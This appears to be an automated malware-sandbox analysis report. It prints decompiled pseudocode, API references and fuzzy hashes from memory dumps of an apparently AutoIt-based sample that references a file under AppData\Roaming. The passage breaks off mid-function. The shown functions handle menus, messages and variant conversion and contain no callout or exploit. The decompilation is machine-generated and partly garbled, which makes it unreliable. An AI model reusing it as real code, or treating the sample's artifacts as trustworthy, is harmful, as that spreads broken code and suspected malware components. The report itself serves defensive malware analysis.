Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc_free_malloc$_strlen
String ID: AU3_FreeVar
API String ID: 3358881862-771828931
Opcode ID: a9e6a84fbd9924c684c19c8315a3e8d3545a7d5e5c17d275ea1c6e3e3c54a05e
Instruction ID: 09f57b425dc3250aab293b1447a0c059216192af5f93179e5d3a36799fca6496
Opcode Fuzzy Hash: a9e6a84fbd9924c684c19c8315a3e8d3545a7d5e5c17d275ea1c6e3e3c54a05e
Instruction Fuzzy Hash: C0B1A0B5A0020ADFCB00DF64C885A6AB7F5FF88324F2481A9E9159B362D735FD51DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F3FB23, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 147
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F3FB23(struct HMENU__** _a4, short _a8, short* _a12, int _a16, int _a20, intOrPtr _a24) {
				struct tagMENUITEMINFOW _v52;
				int _t44;
				int _t50;
				struct HMENU__* _t53;
				int _t54;
				short _t58;
				struct HMENU__* _t64;
				int _t65;
				int _t66;
				struct HMENU__* _t68;
				struct HMENU__** _t70;
				int _t74;
				short* _t76;
				int _t79;
				signed int _t87;
				struct HMENU__** _t93;

				_t44 = _a16;
				_t70 = _a4;
				if(_t44 == 0xffffffff || _t44 >= 7 && _t44 < 0x207) {
					_t87 = E00F2C23F(_t70);
					if(_t87 == 0xffffffff) {
						goto L29;
					} else {
						_t93 =  *(_t70 + 0x1b4 + _t87 * 4);
						_v52.cbSize = 0x30;
						E00EF2E60( &(_v52.fMask), 0, 0x2c);
						_t49 = _a16;
						if(_a16 != 0xffffffff) {
							_a16 = 0xffffffff;
							_t50 = E00F14160(_t70, _t49,  &_a16);
							__eflags = _t50;
							if(_t50 == 0) {
								L28:
								E00F24112(_t70, _t87);
								goto L29;
							} else {
								_t74 = _a16;
								_v52.fMask = 4;
								_t53 =  *( *(_t70 + 0x1b4 + _t74 * 4));
								 *_t93 = _t53;
								_t54 = GetMenuItemInfoW(_t53, _t74, 0,  &_v52);
								__eflags = _t54;
								if(_t54 == 0) {
									goto L28;
								} else {
									 *_t93 = _v52.hSubMenu;
									__eflags = IsMenu(_v52.hSubMenu);
									if(__eflags == 0) {
										goto L28;
									} else {
										goto L9;
									}
								}
							}
						} else {
							 *_t93 =  *_t70;
							L9:
							_t58 = _a8;
							_t76 = _a12;
							_t93[1] = 0;
							_v52.fMask = 0x32;
							_v52.fType = 0;
							_v52.dwTypeData = _t76;
							_v52.dwItemData = _t87;
							_v52.wID = _t87;
							if(_t58 == 0) {
								__eflags =  *_t76;
								if( *_t76 != 0) {
									__eflags = _a24 - 1;
									if(_a24 == 1) {
										_v52.fType = 0x200;
										_t93[1] = 1;
									}
								} else {
									_v52.fType = 0x800;
								}
								_t93[1] = 0;
								goto L19;
							} else {
								if(_t58 != 1) {
									L19:
									__eflags = _t70[1];
									if(_t70[1] != 0) {
										__eflags = _t70[2];
										if(_t70[2] != 0) {
											__eflags = _t87 - 7;
											if(_t87 >= 7) {
												_t64 =  *_t70;
												__eflags =  *_t93 - _t64;
												if( *_t93 == _t64) {
													_t65 = GetMenuItemCount(_t64);
													_t79 = _a20;
													__eflags = _t79 - 0xffffffff;
													if(_t79 == 0xffffffff) {
														L25:
														_t66 = _t65 + 0xfffffffc;
														__eflags = _t66;
														_a20 = _t66;
													} else {
														_t39 = _t65 - 4; // -4
														__eflags = _t79 + 1 - _t39;
														if(_t79 + 1 > _t39) {
															goto L25;
														}
													}
												}
											}
										}
									}
									__eflags = InsertMenuItemW( *_t93, _a20, 1,  &_v52);
									if(__eflags == 0) {
										goto L12;
									} else {
										_t70[0x275] = _t87;
										return _t87;
									}
								} else {
									_t68 = CreatePopupMenu();
									_t106 = _t68;
									if(_t68 != 0) {
										_v52.fMask = _v52.fMask | 0x00000004;
										_v52.hSubMenu = _t68;
										_t93[1] = 1;
										goto L19;
									} else {
										L12:
										E00F3F9B8(_t70, _t106, _t87);
										return 0;
									}
								}
							}
						}
					}
				} else {
					L29:
					__eflags = 0;
					return 0;
				}
			}

0x00f3fb26
0x00f3fb2d
0x00f3fb35
0x00f3fb51
0x00f3fb56
0x00000000
0x00f3fb5c
0x00f3fb5c
0x00f3fb6b
0x00f3fb72
0x00f3fb77
0x00f3fb80
0x00f3fb8e
0x00f3fb95
0x00f3fb9a
0x00f3fb9c
0x00f3fcbc
0x00f3fcbe
0x00000000
0x00f3fba2
0x00f3fba2
0x00f3fba9
0x00f3fbb7
0x00f3fbbd
0x00f3fbbf
0x00f3fbc5
0x00f3fbc7
0x00000000
0x00f3fbcd
0x00f3fbd0
0x00f3fbdc
0x00f3fbde
0x00000000
0x00000000
0x00000000
0x00000000
0x00f3fbde
0x00f3fbc7
0x00f3fb82
0x00f3fb84
0x00f3fbe4
0x00f3fbe8
0x00f3fbeb
0x00f3fbee
0x00f3fbf2
0x00f3fbf9
0x00f3fc00
0x00f3fc03
0x00f3fc06
0x00f3fc09
0x00f3fc38
0x00f3fc3c
0x00f3fc47
0x00f3fc4b
0x00f3fc4d
0x00f3fc54
0x00f3fc54
0x00f3fc3e
0x00f3fc3e
0x00f3fc3e
0x00f3fc58
0x00000000
0x00f3fc0b
0x00f3fc0c
0x00f3fc5c
0x00f3fc5c
0x00f3fc60
0x00f3fc62
0x00f3fc66
0x00f3fc68
0x00f3fc6b
0x00f3fc6d
0x00f3fc6f
0x00f3fc71
0x00f3fc74
0x00f3fc7a
0x00f3fc7d
0x00f3fc80
0x00f3fc8a
0x00f3fc8a
0x00f3fc8a
0x00f3fc8d
0x00f3fc82
0x00f3fc82
0x00f3fc86
0x00f3fc88
0x00000000
0x00000000
0x00f3fc88
0x00f3fc80
0x00f3fc71
0x00f3fc6b
0x00f3fc66
0x00f3fca3
0x00f3fca5
0x00000000
0x00f3fcab
0x00f3fcab
0x00f3fcb9
0x00f3fcb9
0x00f3fc0e
0x00f3fc0e
0x00f3fc14
0x00f3fc16
0x00f3fc2b
0x00f3fc2f
0x00f3fc32
0x00000000
0x00f3fc18
0x00f3fc18
0x00f3fc1b
0x00f3fc28
0x00f3fc28
0x00f3fc16
0x00f3fc0c
0x00f3fc09
0x00f3fb80
0x00f3fcc3
0x00f3fcc3
0x00f3fcc5
0x00f3fccb
0x00f3fccb

APIs

_memset.LIBCMT ref: 00F3FB72
GetMenuItemInfoW.USER32(?,FFFFFFFF,00000000,00000030), ref: 00F3FBBF
IsMenu.USER32 ref: 00F3FBD6
CreatePopupMenu.USER32(00000000,?,745E33D0), ref: 00F3FC0E
GetMenuItemCount.USER32 ref: 00F3FC74
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00F3FC9D

Strings

0, xrefs: 00F3FB6B
2, xrefs: 00F3FBF2

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID: 0$2
API String ID: 3311875123-3793063076
Opcode ID: 42e449b3c13d0436d0fe5757bb97dbb131fd9a17a9bef7c8defbe3647f0567be
Instruction ID: 3763bb11b167b47ed00a72563cfe96fe49de8e91e22c6ad2ecf83ae745b9dc98
Opcode Fuzzy Hash: 42e449b3c13d0436d0fe5757bb97dbb131fd9a17a9bef7c8defbe3647f0567be
Instruction Fuzzy Hash: F651C371D4020D9BDB20CF68D884BAEBBA4EF44374F14852DEC25D72D1D3749949DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F1401B, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 49
windowCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00F1401B(int _a4, char _a8) {
				short _v520;
				short _v1036;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t16;
				void* _t21;
				void* _t23;
				void* _t24;
				void* _t26;

				LoadStringW(GetModuleHandleW(0), _a4,  &_v520, 0x100);
				LoadStringW(GetModuleHandleW(0), 0x1389,  &_v1036, 0x100);
				_t29 = _a8;
				_t23 = _t21;
				_t26 = _t24;
				if(_a8 == 0) {
					return MessageBoxW(0,  &_v1036,  &_v520, 0x11010);
				} else {
					_push(0xf64e64);
					_push(0xf64e64);
					_push( &_v1036);
					_push(0);
					_push( &_v520);
					_push(L"%s (%d) : ==> %s: \n%s \n%s\n");
					return E00EF39DE(_t16,  &_v1036, _t23, _t26, _t29);
				}
			}

0x00f14047
0x00f1405f
0x00f14061
0x00f14065
0x00f14066
0x00f1406d
0x00f140a9
0x00f1406f
0x00f1406f
0x00f14074
0x00f14079
0x00f1407a
0x00f14082
0x00f14083
0x00f14090
0x00f14090

APIs

GetModuleHandleW.KERNEL32(00000000,00F890E8,?,00000100,?,C:\Users\user\AppData\Roaming\22032878\xaso.fhr), ref: 00F1403E
LoadStringW.USER32(00000000), ref: 00F14047
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00F1405C
LoadStringW.USER32(00000000), ref: 00F1405F
_wprintf.LIBCMT ref: 00F14088
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00F140A0

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00F14083
C:\Users\user\AppData\Roaming\22032878\xaso.fhr, xrefs: 00F14027

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s$C:\Users\user\AppData\Roaming\22032878\xaso.fhr
API String ID: 3648134473-822124863
Opcode ID: db744ffa5f2b9ac0ec35e6780d34b744b350c774b64e34d4de049e9c78ce31f3
Instruction ID: 0de4f7c361429ffca0432f222bbf6a4f54e3953f74af5dbd9fff767f788a10d1
Opcode Fuzzy Hash: db744ffa5f2b9ac0ec35e6780d34b744b350c774b64e34d4de049e9c78ce31f3
Instruction Fuzzy Hash: CA0144B1A5431C7AEB60A795DC06FF6376CD7C4B11F00418ABB48AA0809AF06D849BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00F3E9FC, Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 325
timeCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00F3E9FC(intOrPtr* _a4, signed int _a8) {
				signed int _v8;
				signed short _v12;
				signed short _v20;
				signed int _v24;
				signed int _v26;
				signed int _v28;
				signed int _v30;
				signed short _v34;
				signed int _v36;
				signed int _v40;
				signed short _v44;
				signed int _v48;
				signed int _v52;
				char _v84;
				signed int _t104;
				signed int _t105;
				intOrPtr* _t120;
				intOrPtr _t129;
				signed short* _t130;
				signed int _t131;
				void* _t137;

				_t120 = _a4;
				_t130 = _a8;
				_t104 =  *_t130 & 0x0000ffff;
				_t137 = _t104 - 0x4002;
				if(_t137 > 0) {
					_t105 = _t104 - 0x4003;
					if(_t105 > 0x12) {
						goto L55;
					} else {
						switch( *((intOrPtr*)(_t105 * 4 +  &M00F3EEA8))) {
							case 0:
								__esi =  *(__esi + 8);
								__eflags = __esi;
								if(__esi != 0) {
									__edi =  *__esi;
									goto L8;
								}
								goto L9;
							case 1:
								__esi =  *(__esi + 8);
								__eflags = __esi;
								if(__esi == 0) {
									goto L9;
								} else {
									__fp0 =  *__esi;
									__esi = __ebx;
									_v12 = __fp0;
									__eax = E00EE9190(__edi, __ebx);
									__fp0 = _v12;
									 *((intOrPtr*)(__ebx + 8)) = 3;
									 *__ebx = _v12;
									return __eax;
								}
								goto L56;
							case 2:
								__esi =  *(__esi + 8);
								__eflags = __esi;
								if(__esi == 0) {
									goto L9;
								} else {
									__fp0 =  *__esi;
									__esi = __ebx;
									_v12 = __fp0;
									__eax = E00EE9190(__edi, __ebx);
									__fp0 = _v12;
									 *((intOrPtr*)(__ebx + 8)) = 3;
									 *__ebx = _v12;
									return __eax;
								}
								goto L56;
							case 3:
								goto L55;
							case 4:
								goto L20;
							case 5:
								__eflags = _t130[4];
								if(__eflags != 0) {
									_push(0x10);
									 *((intOrPtr*)(_t120 + 8)) = 8;
									_t108 = E00EF14F7(_t128, _t130, __eflags);
									_push(_t108);
									 *_t120 = _t108;
									__imp__#8();
									 *((short*)( *_t120)) = 9;
									 *((intOrPtr*)( *_t120 + 8)) =  *(_t130[4]);
									_t111 =  *((intOrPtr*)( *_t120 + 8));
									_push(_t111);
									 *((intOrPtr*)( *((intOrPtr*)( *_t111 + 4))))();
								}
								return 1;
								goto L56;
							case 6:
								__esi =  *(__esi + 8);
								__eflags = __esi;
								if(__esi == 0) {
									goto L9;
								} else {
									__eflags =  *__esi;
									_t100 =  *__esi != 0;
									__eflags = _t100;
									__edx = __edx & 0xffffff00 | _t100;
									_a8 = __dl;
									__eax = _a8;
									return E00F3303E(__ebx, _a8);
								}
								goto L56;
							case 7:
								__esi =  *(__esi + 8);
								__eflags = __esi;
								if(__esi == 0) {
									goto L9;
								} else {
									__ecx = __ebx;
									return E00F471BD(__ebx, __esi);
								}
								goto L56;
							case 8:
								__esi =  *(__esi + 8);
								__eflags = __esi;
								if(__esi != 0) {
									__edi =  *__esi;
									goto L8;
								}
								goto L9;
							case 9:
								__esi =  *(__esi + 8);
								__eflags = __esi;
								if(__esi != 0) {
									__edi =  *__esi & 0x000000ff;
									goto L8;
								}
								goto L9;
							case 0xa:
								__esi =  *(__esi + 8);
								__eflags = __esi;
								if(__esi != 0) {
									__edi =  *__esi & 0x0000ffff;
									goto L8;
								}
								goto L9;
							case 0xb:
								__esi =  *(__esi + 8);
								__eflags = __esi;
								if(__esi == 0) {
									goto L9;
								} else {
									__ecx =  *(__esi + 4);
									__edi =  *__esi;
									__esi = __ebx;
									_v8 = __ecx;
									__eax = E00EE9190(__edi, __ebx);
									__edx = _v8;
									 *((intOrPtr*)(__ebx + 8)) = 2;
									 *(__ebx + 4) = _v8;
									 *__ebx = __edi;
									return __eax;
								}
								goto L56;
							case 0xc:
								__esi =  *(__esi + 8);
								__eflags = __esi;
								if(__esi == 0) {
									goto L9;
								} else {
									__edi =  *__esi;
									__eax =  *(__esi + 4);
									goto L15;
								}
								goto L56;
						}
					}
				} else {
					if(_t137 == 0) {
						_t131 = _t130[4];
						if(_t131 != 0) {
							_t129 =  *_t131;
							goto L8;
						}
						goto L9;
					} else {
						if(_t104 > 0x15) {
							L55:
							return 0;
						} else {
							switch( *((intOrPtr*)(_t104 * 4 +  &M00F3EE50))) {
								case 0:
									__eax = 0xf64e64;
									return E00EEE970(0xf64e64, __ebx, __ecx);
									goto L56;
								case 1:
									__edi =  *(__esi + 8);
									goto L8;
								case 2:
									__edi =  *(__esi + 8);
									goto L8;
								case 3:
									__fp0 =  *(__esi + 8);
									__esi = __ebx;
									_v12 = __fp0;
									__eax = E00EE9190(__edi, __ebx);
									__fp0 = _v12;
									 *((intOrPtr*)(__ebx + 8)) = 3;
									 *__ebx = _v12;
									return __eax;
									goto L56;
								case 4:
									__fp0 =  *(__esi + 8);
									__esi = __ebx;
									_v12 = __fp0;
									__eax = E00EE9190(__edi, __ebx);
									__fp0 = _v12;
									 *((intOrPtr*)(__ebx + 8)) = 3;
									 *__ebx = _v12;
									return __eax;
									goto L56;
								case 5:
									asm("fild qword [esi+0x8]");
									__esi = __ebx;
									_v12 = __fp0;
									__eax = E00EE9190(__edi, __ebx);
									__fp0 = _v12;
									 *__ebx = _v12;
									 *((intOrPtr*)(__ebx + 8)) = 3;
									return __eax;
									goto L56;
								case 6:
									__fp0 =  *(__esi + 8);
									__eax =  &_v36;
									_push( &_v36);
									__esp = __esp - 8;
									 *__esp =  *(__esi + 8);
									__imp__#185();
									__ecx = _v24 & 0x0000ffff;
									__edx = _v26 & 0x0000ffff;
									__eax = _v28 & 0x0000ffff;
									_push(_v24 & 0x0000ffff);
									__ecx = _v30 & 0x0000ffff;
									_push(_v26 & 0x0000ffff);
									__edx = _v34 & 0x0000ffff;
									_push(_v28 & 0x0000ffff);
									__eax = _v36 & 0x0000ffff;
									_push(_v30 & 0x0000ffff);
									_push(__edx);
									__ecx =  &_v84;
									__eax = E00EF31BB(__edx,  &_v84, L"%4d%02d%02d%02d%02d%02d", _v36 & 0x0000ffff);
									__eax =  &_v84;
									return E00EEE970( &_v84, __ebx, __ecx);
									goto L56;
								case 7:
									L20:
									__eflags =  *(__esi + 8);
									if(__eflags == 0) {
										goto L9;
									} else {
										_push(0x10);
										__eax = E00EF14F7(__edi, __esi, __eflags);
										__esp =  &(__esp[2]);
										__eflags = __eax;
										if(__eflags == 0) {
											__eax = 0;
											__eflags = 0;
											 *(__ebx + 0xc) = 0;
											 *((intOrPtr*)(__ebx + 8)) = 4;
											return 0;
										} else {
											__edi =  *(__esi + 8);
											__esi = __eax;
											__eax = E00EE1D10(__edi, __eax, __eflags);
											 *(__ebx + 0xc) = __eax;
											 *((intOrPtr*)(__ebx + 8)) = 4;
											return __eax;
										}
									}
									goto L56;
								case 8:
									_push(0x10);
									 *((intOrPtr*)(_t120 + 8)) = 8;
									_t116 = E00EF14F7(_t128, _t130, _t138);
									_push(_t116);
									 *_t120 = _t116;
									__imp__#8();
									_t117 =  *_t120;
									_push(_t130);
									_push(_t117);
									__imp__#10();
									if(_t117 < 0) {
										_push( *_t120);
										__imp__#9();
										_push( *_t120);
										E00EF10FC();
										 *_t120 = 0;
									}
									return 1;
									goto L56;
								case 9:
									goto L55;
								case 0xa:
									__eflags =  *(__esi + 8);
									_t43 =  *(__esi + 8) != 0;
									__eflags = _t43;
									__ecx = __ecx & 0xffffff00 | _t43;
									_a8 = __cl;
									__edx = _a8;
									return E00F3303E(__ebx, _a8);
									goto L56;
								case 0xb:
									__eax =  *(__esi + 4);
									__ecx =  *(__esi + 8);
									__edx =  *__esi;
									_v48 =  *(__esi + 4);
									__eax =  &_v20;
									_v44 =  *(__esi + 8);
									_v52 =  *__esi;
									__edx =  *(__esi + 0xc);
									_push( &_v20);
									__ecx =  &_v52;
									_push( &_v52);
									_v40 =  *(__esi + 0xc);
									__imp__#220();
									__fp0 = _v20;
									__esi = __ebx;
									_v12 = _v20;
									__eax = E00EE9190(__edi, __ebx);
									__fp0 = _v12;
									 *__ebx = _v12;
									 *((intOrPtr*)(__ebx + 8)) = 3;
									return __eax;
									goto L56;
								case 0xc:
									__edi =  *(__esi + 8);
									goto L8;
								case 0xd:
									__edi =  *(__esi + 8) & 0x000000ff;
									goto L8;
								case 0xe:
									__edi =  *(__esi + 8) & 0x0000ffff;
									L8:
									E00EE9190(_t129, _t120);
									 *((intOrPtr*)(_t120 + 8)) = 1;
									 *_t120 = _t129;
									L9:
									return 1;
									goto L56;
								case 0xf:
									__edi =  *(__esi + 8);
									__eax =  *(__esi + 0xc);
									L15:
									__esi = __ebx;
									_v8 = __eax;
									__eax = E00EE9190(__edi, __ebx);
									__ecx = _v8;
									 *((intOrPtr*)(__ebx + 8)) = 2;
									 *(__ebx + 4) = _v8;
									 *__ebx = __edi;
									return __eax;
									goto L56;
								case 0x10:
									__edx =  *(__esi + 0xc);
									__edi =  *(__esi + 8);
									__esi = __ebx;
									_v8 = __edx;
									__eax = E00EE9190(__edi, __ebx);
									__eax = _v8;
									 *(__ebx + 4) = __eax;
									 *((intOrPtr*)(__ebx + 8)) = 2;
									 *__ebx = __edi;
									return __eax;
									goto L56;
							}
						}
					}
				}
				L56:
			}

0x00f3ea03
0x00f3ea07
0x00f3ea0a
0x00f3ea0e
0x00f3ea13
0x00f3ecac
0x00f3ecb4
0x00000000
0x00f3ecba
0x00f3ecba
0x00000000
0x00f3ed46
0x00f3ed49
0x00f3ed4b
0x00f3ed51
0x00000000
0x00f3ed51
0x00000000
0x00000000
0x00f3eda1
0x00f3eda4
0x00f3eda6
0x00000000
0x00f3edac
0x00f3edac
0x00f3edae
0x00f3edb0
0x00f3edb3
0x00f3edb8
0x00f3edbb
0x00f3edc2
0x00f3edcc
0x00f3edcc
0x00000000
0x00000000
0x00f3edcf
0x00f3edd2
0x00f3edd4
0x00000000
0x00f3edda
0x00f3edda
0x00f3eddc
0x00f3edde
0x00f3ede1
0x00f3ede6
0x00f3ede9
0x00f3edf0
0x00f3edfa
0x00f3edfa
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00f3ecc1
0x00f3ecc5
0x00f3ecc7
0x00f3ecc9
0x00f3ecd0
0x00f3ecd8
0x00f3ecd9
0x00f3ecdb
0x00f3ece8
0x00f3ecf2
0x00f3ecf7
0x00f3ecfc
0x00f3ed00
0x00f3ed00
0x00f3ed0a
0x00000000
0x00000000
0x00f3edfd
0x00f3ee00
0x00f3ee02
0x00000000
0x00f3ee08
0x00f3ee08
0x00f3ee0c
0x00f3ee0c
0x00f3ee0c
0x00f3ee0f
0x00f3ee12
0x00f3ee24
0x00f3ee24
0x00000000
0x00000000
0x00f3ee27
0x00f3ee2a
0x00f3ee2c
0x00000000
0x00f3ee32
0x00f3ee33
0x00f3ee42
0x00f3ee42
0x00000000
0x00000000
0x00f3ed0d
0x00f3ed10
0x00f3ed12
0x00f3ed18
0x00000000
0x00f3ed18
0x00000000
0x00000000
0x00f3ed20
0x00f3ed23
0x00f3ed25
0x00f3ed2b
0x00000000
0x00f3ed2b
0x00000000
0x00000000
0x00f3ed33
0x00f3ed36
0x00f3ed38
0x00f3ed3e
0x00000000
0x00f3ed3e
0x00000000
0x00000000
0x00f3ed58
0x00f3ed5b
0x00f3ed5d
0x00000000
0x00f3ed63
0x00f3ed63
0x00f3ed66
0x00f3ed68
0x00f3ed6a
0x00f3ed6d
0x00f3ed72
0x00f3ed75
0x00f3ed7c
0x00f3ed7f
0x00f3ed89
0x00f3ed89
0x00000000
0x00000000
0x00f3ed8c
0x00f3ed8f
0x00f3ed91
0x00000000
0x00f3ed97
0x00f3ed97
0x00f3ed99
0x00000000
0x00f3ed99
0x00000000
0x00000000
0x00f3ecba
0x00f3ea19
0x00f3ea19
0x00f3ec99
0x00f3ec9e
0x00f3eca4
0x00000000
0x00f3eca4
0x00000000
0x00f3ea1f
0x00f3ea22
0x00f3ee47
0x00f3ee4d
0x00f3ea28
0x00f3ea28
0x00000000
0x00f3ec84
0x00f3ec96
0x00000000
0x00000000
0x00f3eaa1
0x00000000
0x00000000
0x00f3eaad
0x00000000
0x00000000
0x00f3eb06
0x00f3eb09
0x00f3eb0b
0x00f3eb0e
0x00f3eb13
0x00f3eb16
0x00f3eb1d
0x00f3eb27
0x00000000
0x00000000
0x00f3eb2a
0x00f3eb2d
0x00f3eb2f
0x00f3eb32
0x00f3eb37
0x00f3eb3a
0x00f3eb41
0x00f3eb4b
0x00000000
0x00000000
0x00f3eb4e
0x00f3eb51
0x00f3eb59
0x00f3eb5c
0x00f3eb61
0x00f3eb64
0x00f3eb66
0x00f3eb75
0x00000000
0x00000000
0x00f3ebe6
0x00f3ebe9
0x00f3ebec
0x00f3ebed
0x00f3ebf0
0x00f3ebf3
0x00f3ebf9
0x00f3ebfd
0x00f3ec01
0x00f3ec05
0x00f3ec06
0x00f3ec0a
0x00f3ec0b
0x00f3ec0f
0x00f3ec10
0x00f3ec14
0x00f3ec15
0x00f3ec17
0x00f3ec20
0x00f3ec28
0x00f3ec38
0x00000000
0x00000000
0x00f3eb78
0x00f3eb78
0x00f3eb7c
0x00000000
0x00f3eb82
0x00f3eb82
0x00f3eb84
0x00f3eb89
0x00f3eb8c
0x00f3eb8e
0x00f3ebaf
0x00f3ebaf
0x00f3ebb1
0x00f3ebb4
0x00f3ebc3
0x00f3eb90
0x00f3eb90
0x00f3eb93
0x00f3eb95
0x00f3eb9a
0x00f3eb9d
0x00f3ebac
0x00f3ebac
0x00f3eb8e
0x00000000
0x00000000
0x00f3ea2f
0x00f3ea31
0x00f3ea38
0x00f3ea40
0x00f3ea41
0x00f3ea43
0x00f3ea49
0x00f3ea4b
0x00f3ea4c
0x00f3ea4d
0x00f3ea55
0x00f3ea59
0x00f3ea5a
0x00f3ea62
0x00f3ea63
0x00f3ea6b
0x00f3ea6b
0x00f3ea79
0x00000000
0x00000000
0x00000000
0x00000000
0x00f3ebc6
0x00f3ebcb
0x00f3ebcb
0x00f3ebcb
0x00f3ebce
0x00f3ebd1
0x00f3ebe3
0x00000000
0x00000000
0x00f3ec3b
0x00f3ec3e
0x00f3ec41
0x00f3ec43
0x00f3ec46
0x00f3ec49
0x00f3ec4c
0x00f3ec4f
0x00f3ec52
0x00f3ec53
0x00f3ec56
0x00f3ec57
0x00f3ec5a
0x00f3ec60
0x00f3ec63
0x00f3ec65
0x00f3ec68
0x00f3ec6d
0x00f3ec70
0x00f3ec72
0x00f3ec81
0x00000000
0x00000000
0x00f3ea7c
0x00000000
0x00000000
0x00f3ea9b
0x00000000
0x00000000
0x00f3eaa7
0x00f3ea80
0x00f3ea82
0x00f3ea87
0x00f3ea8e
0x00f3ea90
0x00f3ea98
0x00000000
0x00000000
0x00f3eab2
0x00f3eab5
0x00f3eab8
0x00f3eab8
0x00f3eaba
0x00f3eabd
0x00f3eac2
0x00f3eac5
0x00f3eacc
0x00f3eacf
0x00f3ead9
0x00000000
0x00000000
0x00f3eadc
0x00f3eadf
0x00f3eae2
0x00f3eae4
0x00f3eae7
0x00f3eaec
0x00f3eaef
0x00f3eaf2
0x00f3eaf9
0x00f3eb03
0x00000000
0x00000000
0x00f3ea28
0x00f3ea22
0x00f3ea19
0x00000000

APIs

VariantInit.OLEAUT32(00000000), ref: 00F3EA43
VariantCopy.OLEAUT32(00000000), ref: 00F3EA4D
VariantClear.OLEAUT32 ref: 00F3EA5A
VariantTimeToSystemTime.OLEAUT32 ref: 00F3EBF3
__swprintf.LIBCMT ref: 00F3EC20
VariantInit.OLEAUT32(00000000), ref: 00F3ECDB

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00F3EC1A

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$InitTime$ClearCopySystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d
API String ID: 2441338619-1568723262
Opcode ID: a8ded240cb72fdedec7a2c648ad48128556a254a790ec9a32c8cefc1850cb112
Instruction ID: b133888600745db9c21cebfea4757f971dc02095e60637d1a39f3aaeefd97691
Opcode Fuzzy Hash: a8ded240cb72fdedec7a2c648ad48128556a254a790ec9a32c8cefc1850cb112
Instruction Fuzzy Hash: EDA1C477A0061987CB209F55E4C066AFBE4FF44331F15859AED85AB340C636AC95E7E0

Uniqueness

Uniqueness Score: -1.00%

Function 00F4B9C2, Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 308
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E00F4B9C2(intOrPtr _a4, void* _a8, char _a12, intOrPtr _a16) {
				char* _v8;
				char* _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr* _v40;
				intOrPtr* _v44;
				intOrPtr* _v48;
				char _v52;
				char _v68;
				void* _v76;
				char _v84;
				intOrPtr* _v92;
				char _v100;
				char _v132;
				void* __edi;
				void* __esi;
				short* _t76;
				intOrPtr _t89;
				intOrPtr* _t92;
				char _t95;
				intOrPtr* _t100;
				intOrPtr* _t102;
				intOrPtr _t104;
				intOrPtr* _t106;
				intOrPtr* _t155;
				intOrPtr* _t156;
				intOrPtr* _t157;
				intOrPtr* _t158;
				intOrPtr* _t159;
				intOrPtr* _t160;
				intOrPtr* _t161;
				intOrPtr* _t162;

				_t162 = _a12;
				_t155 = _a8;
				_a8 = 0;
				_v8 = L"_NewEnum";
				_v12 = L"get__NewEnum";
				_v52 = 0;
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				_v36 = 0x20404;
				_v32 = 0;
				_v28 = 0xc0;
				_v24 = 0x46000000;
				E00EF2E60( &_v132, 0, 0x20);
				if(_t155 == 0 || _a16 == 0 || _t162 == 0) {
					L34:
					_push(1);
					_push(L"Null Object assignment in FOR..IN loop");
					goto L35;
				} else {
